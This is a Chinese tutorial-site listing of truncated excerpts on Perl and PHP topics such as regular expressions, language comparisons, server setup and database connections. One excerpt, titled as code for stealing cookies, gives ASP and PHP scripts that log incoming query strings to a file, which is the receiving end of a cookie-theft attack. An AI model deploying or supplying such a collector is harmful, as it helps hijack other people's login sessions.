PERL - 技术教程文章

RegExp可在Perl,JavaScript和Objective-C中使用,但不适用于Java【代码】

我正在将代码从Javascript转换为Java,我发现一个正则表达式在Java中无法正常工作(使用标准类Pattern). 它在perl,js中以及在NSRegularExpression的Cocoa中都可以正常工作 reg exp是([a-z] *)([0-9] *),下面显示了Java代码 它必须匹配两个由空格隔开的组,第一组仅包含字母,第二组仅包含数字public static void main(String[] args) { Matcher matcher = Pattern.compile("([a-z]*) ([0-9]*)").matcher("hello 101"); while (matcher....

PHPPythonRubyPerl

PHP的魅力所在提起老牌经典脚本语言PHP,我们不禁会联想到它的一个令人印象深刻的特点,即上手快,你无需对这个语言进行深入广泛的了解就可以使用它开始编程。在我们知道的语言中,没有几个语言能把这种特点体现的淋漓尽致。与之相对应的另一个极端是Java语言,即使你写一个简单的hello world程序也需要掌握不少Java知识,运行一个Web应用同样不那么简单。而这一切在PHP中是一件举手之劳的简单事情。 在编程能力方面,PHP只是比Per...

Apache,mod_ *,PHP,Perl,Python,Ruby;向后学习

我前段时间开始进行Web开发,但我基本上都花了很多时间学习PHP,MySQL / SQLite,(X)HTML / XML(XPath,XQuery,XSL)等.我带着一个开箱即用的东西XAMPP安装,一切都非常简单,我可以专注于语言学习. 然而,现在,我正在学习Ruby和Python(以及更多的Perl),但令我沮丧的是,我发现我基本上不了解Apache配置,或者与为嵌入式PHP设置环境相关的任何相关任务,Perl, Python和Ruby. 我最近发布了一个question,我认为这会带我走向正确的方向.阅读完mod...

Win2000+Apache+MySql+PHP4+PERL安装使用小结

Windows 2000+Apache+MySql+PHP3+PHP4+PERL安装使用小结 www。1000script.com 2002-9-3 1000script专业脚本 Windows 2000+Apache+MySql+PHP3+PHP4+PERL安装使用小结(一)   这里一定有许多和我一样喜欢尝试新鲜事物的朋友,尤其是当听说 某某软件有了新的版本时一定也会迫不及待的去下载一份回来用用再说。 这里我想和大家探讨一下以下流行软件的应用,意在抛砖引玉。 OS : Microsoft Windows 2000 Professional简体中文版 WEB ...

Perl与PHP之间有哪些区别?Perl与PHP的对比【图】

Perl与PHP之间的区别是什么?下面本篇文章就来带大家了解一下Perl与PHP,介绍Perl与PHP之间的区别,希望对大家有所帮助。什么是Perl?Perl是一种动态的,高级的、通用的编程语言,它没有任何官方缩写。它是纯粹使用C编程语言开发和实现的;它支持跨平台操作系统;它是根据GNU通用公共许可证授权的。它具有不同的文件扩展名,如.pm,.pl,.pod,.t等。它具有灵活性和强大的功能,可用于许多应用程序。什么是PHP?PHP被称为超文本预处...

什么是Perl【图】

一:什么是PerlPerl代表实用提取和报告语言,即使没有Perl的授权首字母缩略词,也可以创建自己的首字母缩略词,没有人会介意。Perl是由Larry Wall于1987年创建的,当时他受雇于一个错误报告系统和“AWK”,并且使用的编程语言并没有给他太多帮助。Perl是一种专为文本编辑而设计的编程语言,它现在被广泛用于各种目的,包括Linux系统管理,网络编程,Web开发等。简单的来说。虽然计算机只能理解0和1,但很难用二进制语言为人类编程,...

与Perl兼容的正则表达式函数(一)

字符串的匹配与查找preg_match()函数和preg_match_all()函数该函数的语法格式如下所示:int preg_match/preg_match_all((string pattern,string subject[,array matches])函数功能:在字符串subject中匹配表达式pattern。函数返回匹配次数。如果有数组matches,那么每次匹配的结果都将被存储到数组matches中。该函数有两个必选参数,第一个参数pattern需要提供用户按正则表达式语法编写的模式,第二个参数subject需要一个字符串。该...

与Perl兼容的正则表达式函数(二)

函数preg_grep()该函数与preg_match()函数和preg_match_all()不同的是匹配数组中的元素,返回与正则表达式匹配的数组单元,该函数的语法格式如下:array preg_grep(string pattren,array input)该函数返回一个数组,其中包括了第二个参数input数组中与给定的第一个参数pattern模式相匹配的单元。对于输入数组input中的每个元素,只进行一次匹配。该函数的使用代码示例如下所示:<?php $preg = ^d{3,4}-?\d{7,8}; $arr = array(0432...

perl、php、python、java和ruby的比较【图】

预览◆ 语言的发展趋势一定是动静结合、刚柔并济◆ Perl凝练晦涩,Python优雅明晰,Ruby精巧灵动,PHP简明单纯◆ 或许优雅正是来自对细节和规范的重视◆ (RoR)与Ruby结合之后,便如一只猱身而上灵猫,立刻衬托出Java和.NET大象般的身影提问◆ Perl、Python、Ruby和PHP各自有何特点?◆ 为什么动态语言多作为轻量级的解决方案?◆ LAMP为什么受欢迎?◆ Ruby on Rails为什么会流行?◆ 编程语言的发展趋势是什么?讲解“剩下四种动态语言...

PHP与Perl语言对比有何不同

相同之处编译脚本语言:Perl 和 PHP 二者都是脚本语言。这意味着他们不用提前独立执行生产原生可执行文件。语法:PHP 的基本语法非常接近 Perl 的,并且二者都与 C 代码分享很多语法特性像空格、语句由分号终止和花括号将多条语句组织成代码块。函数调用开始于函数名,紧随后面的是包围在圆括号中并由逗号分隔的实际参数。$符号变量:所有变量在 PHP 中看起来像 Perl 标量变量:一个名称在一个 $ 符号 ($) 的前面。没有声明变量:和...

perl正则表达式模板引擎正则表达式调试小技巧

基于正则表达式替换的模板引擎很容易遇上正则表达式最大回溯/递归的限制。 惰性匹配并不可怕,正常情况下模板并不会不够用,往往不会超出限制,discuz的模板引擎就大量使用了。但是因此而不去注意、不去学习,则容易书写错误并遇上问题。 当preg_*返回的是null的时候则要注意了,判断函数是is_null. 出错并不可怕,但是最好把错误都完整的输出,这样调试就很容易了。 除了输出出错原因,还要输出匹配的文本和使用的正则,这样就很容...

Win2000+Apache+MySql+PHP4+PERL安装使用小结_PHP教程

Windows 2000+Apache+MySql+PHP3+PHP4+PERL安装使用小结 www。1000script.com 2002-9-3 1000script专业脚本 Windows 2000+Apache+MySql+PHP3+PHP4+PERL安装使用小结(一)   这里一定有许多和我一样喜欢尝试新鲜事物的朋友,尤其是当听说 某某软件有了新的版本时一定也会迫不及待的去下载一份回来用用再说。 这里我想和大家探讨一下以下流行软件的应用,意在抛砖引玉。 OS : Microsoft Windows 2000 Professional简体中文版 WEB ...

在PHP中使用与Perl兼容的正则表达式_PHP教程

前言PHP被大量的应用于Web的后台CGI开发,通常是在用户数据数据之后得出某种结果,但是如果用户输入的数据不正确,就会出现问题,比如说某人的生日是"2月30日"!那应该怎么样来检验暑假是否正确呢? 在PHP中加入了正则表达式的支持,让我们可以十分方便的进行数据匹配。 什么是正则表达式简单的说,正则表达式是一种可以用于模式匹配和替换的强大工具。在几乎所有的基于UNIX/LINUX系统的软件工具中找到正则表达式的痕迹,例如:Per...

POSIX风格和兼容Perl风格两种正则表达式主要函数的类比(preg_match,preg_replace,_PHP教程

首先来看看 POSIX 风格正则表达式的两个主要函数: ereg 函数:(正则表达式匹配) 格式:int ereg ( string pattern, string string [, array &regs] ) 注意:使用 Perl 兼容正则表达式语法的 preg_match() 函数通常是比 ereg() 更快的替代方案。(一般的话还是使用 preg_match() ,比较好勒~~) 以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。如果找到与 pattern 中圆括号内的子模式相匹配的子串...

解析posix与perl标准的正则表达式区别_PHP教程

正则表达式(Regular Expression,缩写为regexp,regex或regxp),又称正规表达式、正规表示式或常规表达式或正规化表示法或正规表示法,是指一个用 来描述或者匹配一系列符合某个句法规则的字符串的单个字符串。在很多文本编辑器或其他工具里,正则表达式通常被用来检索和/或替换那些符合某个模式的文本 内容。许多程序设计语言都支持利用正则表达式进行字符串操作。例如,在Perl中就内建了一个功能强大的在正则表达式引擎。正则表...

PerlCPAN::Modulelist的解决办法_PHP教程

今天用CPAN安装Term::ReadLine,报了个这样的错误Going to read /root/.cpan/sources/modules/03modlist.data.gz Cant locate object method "data" via package "CPAN::Modulelist" (perhaps you forgot to load "CPAN::Modulelist"?) at (eval 31) line 1. at /usr/lib/perl5/5.8.5/CPAN.pm line 3406 CPAN::Index::rd_modlist(CPAN::Index, /root/.cpan/sources/modules/03modlist.data.gz) called at /usr/lib/perl5/5.8.5/CPA...

Perl、PHP、Python、Java和Ruby的比较_PHP教程

预览◆ 语言的发展趋势一定是动静结合、刚柔并济◆ Perl凝练晦涩,Python优雅明晰,Ruby精巧灵动,PHP简明单纯◆ 或许优雅正是来自对细节和规范的重视◆ (RoR)与Ruby结合之后,便如一只猱身而上灵猫,立刻衬托出Java和.NET大象般的身影提问◆ Perl、Python、Ruby和PHP各自有何特点?◆ 为什么动态语言多作为轻量级的解决方案?◆ LAMP为什么受欢迎?◆ Ruby on Rails为什么会流行?◆ 编程语言的发展趋势是什么?讲解“剩下四种动态语言...

浅析Perl正则表达式在PHP的实现_PHP教程【代码】

Perl正则表达式在PHP的实现达成,我们要使用PCRE相关的正则表达式函数,那么具体的都有什么函数呢?这里我们向你介绍4个,希望对你有所帮助。Perl正则表达式在PHP的实现所使用的函数介绍:1、preg_match : 函数格式:int preg_match(string pattern, string subject, array [matches]); 这个函数会在string中使用pattern表达式来匹配,如果给定了[regs],就会将string记录到[regs][0]中,[regs][1]代表使用括号"()"记录下来的第...

PHP与Perl兼容的正则表达式_PHP教程

1 前言 PHP被大量的应用于Web的后台CGI开发,通常是在用户数据数据之后得出某种结果,但是如果用户输入的数据不正确,就会出现问题,比如说某人的生日是"2月30日"!那应该怎么样来检验暑假是否正确呢? 在PHP中加入了正则表达式的支持,让我们可以十分方便的进行数据匹配。2 什么是正则表达式: 简单的说,正则表达式是一种可以用于模式匹配和替换的强大工具。在几乎所有的基于Unix/Linux系统的软件工具中找到正则表达式的痕迹,例...

PHP与Perl操作Memcached速度差异比较_PHP教程

由于最近在进行memcached方面的工作 在性能测试中使用了php以及perl对memcached进行操作结果发现php与perl对memcached操作的性能差异大约在40~50%之间 以下是测试脚本,所作的操作一样.使用1k的数据重复512000次.,总共插入memcached 500M的数据 php操作脚本 ini_set("memcache.hash_function","crc32");$memcache=newMemcache;$memcache->addServer(localhost,30001);$memcache->flush();for($i=0;$i $memcache->set($i,"共...

盗取cookies的代码(asp,php,perl)_PHP教程

ASP版 dim strfilenamestrfilename = "mydata.txt" 数据文件存放目录set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request.Servervariables("QUERY_STRING")lP.SaveToFile server.mappath(strfilename),2lP.Closeset lP=nothing%> PHP版$info = getenv("QUERY_STRING");if ($info) {$info=urldecode($info);$fp = fopen("info.txt","a");fwirte($fp,$info."");fclose($fp);}?> PER...

SYBASEASEFORLINUX安装及perl连接SYBASE_PHP教程

安装Sybase ASE sybase-common-11.9.2-1.i386.rpm sybase-ase-11.9.2-1.i386.rpm 安装Sybase OpenClient sybase-openclient-11.1.1-1.i386.rpm 来源: http://www.sybase.com/products/databaseservers/linux/thankyou1192.html 方法: rpm -hiv sybase-common-11.9.2-1.i386.rpm rpm -hiv sybase-ase-11.9.2-1.i386.rpm rpm -hiv sybase-openclient-11.1.1-1.i386.rpm 其默认安装路径为/opt/sybase-11.9.2 如需重定路径至/home/syba...

ShellScript方式的PHP转 这种方式颇有点像PERL的CGI方式。。_PHP教程

Shell Script方式的PHP PHP 怎么这么红 最近 PHP(Personal Hypertext Preprocessor) 似乎已经成了这一两年来 Linux/Unix 上最广为大家所使用的网页处理语言﹐它的方便、强大功能与 OpenSource 的特性使得它正逐渐侵蚀到传统 CGI 甚至是 MicroSoft ASP(Active Server Page)的市场﹐几乎各大网站征招人才莫不以会 PHP 作为基本条件。 PHP 确实有这个资格可以这么红﹐原因有下面数点 : PHP 是 OpenSource 软件﹐完全免费﹐可以自由散布...

介绍几个php4中非常有用的数组函数转载关联数组等同于PERL里的哈希数组。以前我一直以为PHP里没..._PHP教程

介绍几个 php4 中非常有用的"数组"函数 1 void extract (array var_array [, int extract_type ][, string prefix]]) 把一个关联数组展开为变量名和变量的值,如果有冲突则由后面的参数指定处理方法! 如: "blue", "size" => "medium", "shape" => "sphere"); extract ($var_array, EXTR_PREFIX_SAME, "wddx"); print "$color, $size, $shape, $wddx_sizen"; ?> 2 array compact (mixed varname [, mixed ...]) 和上面的函数相反...

IIS服务器完全配置实现asp,cgi,perl和php+mysql_PHP教程【图】

IIS服务器完全配置实现asp,cgi,perl和php+mysql IIS服务器完全配置 现在我们要使IIS实现ASP,CGI,PERL和PHP+MYSQL 所需软件(都要是For Windows的): ActivePerl、PHP、MYSQL 一.ASP支持: 不用说了吧,什么都不用做,本身就支持ASP运行。 二.CGI,PERL支持: 1.安装ActivePerl 运行下载的ActivePerl一步一步安装(注意:安装路径请选择到根目录的/usr/下(默认是perl),这样对以后调试程序省很多事) 2.配置IIS 打开"Internet 信息服务"(在...

在Linux下安装PHP,APACHE,ORACLE,PERL的方法_PHP教程

经过一夜的“奋战”,终于把ORACLE装上了,而且PHP脚本调用ORACLE数据库也成功了,现在就和大家共同分享。 (注:现在网上一些资料都说oracle8.1.6+php4.0.4+apache1.3.2可以成功 安装,可是我和一个朋友试过了几次都不能成功,如有高手请指教,最好详细一些。) 1.硬件环境: 硬盘:9.2 G ; 内存:128 M ; 网卡:EEpor100 2.软件 操作系统: RedHat 6.1(***大家注意,一定是6.1啊***) 3.优化RedHat 6.1 过程和上一篇文章一样,请...

php-perl哈希算法实现(times33哈希算法)_PHP教程

代码如下:APR_DECLARE_NONSTD(unsigned int) apr_hashfunc_default(const char *char_key, apr_ssize_t *klen){ unsigned int hash = 0; const unsigned char *key = (const unsigned char *)char_key; const unsigned char *p; apr_ssize_t i; /* * This is the popular `times 33' hash algorithm which is used by * perl and also appears in Be...

PHP扩展模块Pecl、Pear以及Perl的区别_PHP教程

一、简短总结:pear:一个书写的比较规范,国外较流行的工具箱代码集pecl:php扩展包,但不属于php基本扩展范围perl:一种早于php出现的脚本级语言,php借鉴了他的正则表达式部分 二、Pear、Pecl都是PHP扩展模块的集合。是扩展PHP的两种方法: A.一种是用纯粹的PHP代码写函数和类。Pear就是这样一个项目。PEAR是PHP的官方开源类库(PHP Extension and Application Repository的缩写)。Pear在英文中是梨子的意思。PEAR将PHP程序开发过...

通过dbi使用perl连接mysql数据库的方法_PHP教程

通过使用DBI,用Perl可以很容易的连接到mysql数据库: 代码如下: 代码如下:#!/bin/perl use DBI; # Connect to target DB my $dbh = DBI->connect("DBI:mysql:database=eygle;host=localhost","username","password", {RaiseError => 1}); # Insert one row my $rows = $dbh->do("INSERT INTO test (id, name) VALUES (1, eygle)"); # query my $sqr = $dbh->prepare("SELECT name FROM test"); $sqr->execute(); while(my ...

Cannotstartsessionwithouterrors,pleasecheckerrorsgiveninyourPHPand/orwebserverlogfileandconfigureyourPHPinstallationproperly.错误,sessioncheck_PHP教程【图】

Cannot start session without errors, please check errors given in your PHP and/or webserver log file and configure your PHP installation properly.错误,sessioncheck错误如图示:1、在php的目录下建立个文件夹tmp,这个有权限的问题,如果是ntfs的分区,就一定要添加evryone的控制权限,否则是没用的。2、在php.ini找到session.save_path 这一行,设成session.save_path = "C:/php/tmp"把前面的注释分号去掉。3、将php.in...